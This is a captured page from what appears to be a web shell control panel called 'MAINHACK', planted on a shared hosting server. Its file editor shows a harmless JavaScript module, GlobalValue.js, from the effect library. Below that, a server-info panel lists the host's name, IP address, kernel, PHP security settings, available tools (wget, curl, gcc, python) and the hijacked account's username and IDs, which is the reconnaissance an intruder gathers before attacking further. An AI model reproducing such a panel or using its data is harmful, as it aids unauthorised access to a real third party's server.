[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: GlobalValue.js
/** * The `GlobalValue` module ensures that a single instance of a value is created globally, * even when modules are imported multiple times (e.g., due to mixing CommonJS and ESM builds) * or during hot-reloading in development environments like Next.js or Remix. * * It achieves this by using a versioned global store, identified by a unique `Symbol` tied to * the current version of the `effect` library. The store holds values that are keyed by an identifier, * allowing the reuse of previously computed instances across imports or reloads. * * This pattern is particularly useful in scenarios where frequent reloading can cause services or * single-instance objects to be recreated unnecessarily, such as in development environments with hot-reloading. * * @since 2.0.0 */ const globalStoreId = `effect/GlobalValue`; let globalStore; /** * Retrieves or computes a global value associated with the given `id`. If the value for this `id` * has already been computed, it will be returned from the global store. If it does not exist yet, * the provided `compute` function will be executed to compute the value, store it, and then return it. * * This ensures that even in cases where the module is imported multiple times (e.g., in mixed environments * like CommonJS and ESM, or during hot-reloading in development), the value is computed only once and reused * thereafter. * * @example * ```ts * import { globalValue } from "effect/GlobalValue" * * // This cache will persist as long as the module is running, * // even if reloaded or imported elsewhere * const myCache = globalValue( * Symbol.for("myCache"), * () => new WeakMap<object, number>() * ) * ``` * * @since 2.0.0 */ export const globalValue = (id, compute) => { if (!globalStore) { // @ts-expect-error globalThis[globalStoreId] ??= new Map(); // @ts-expect-error globalStore = globalThis[globalStoreId]; } if (!globalStore.has(id)) { globalStore.set(id, compute()); } return globalStore.get(id); }; //# sourceMappingURL=GlobalValue.js.map
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344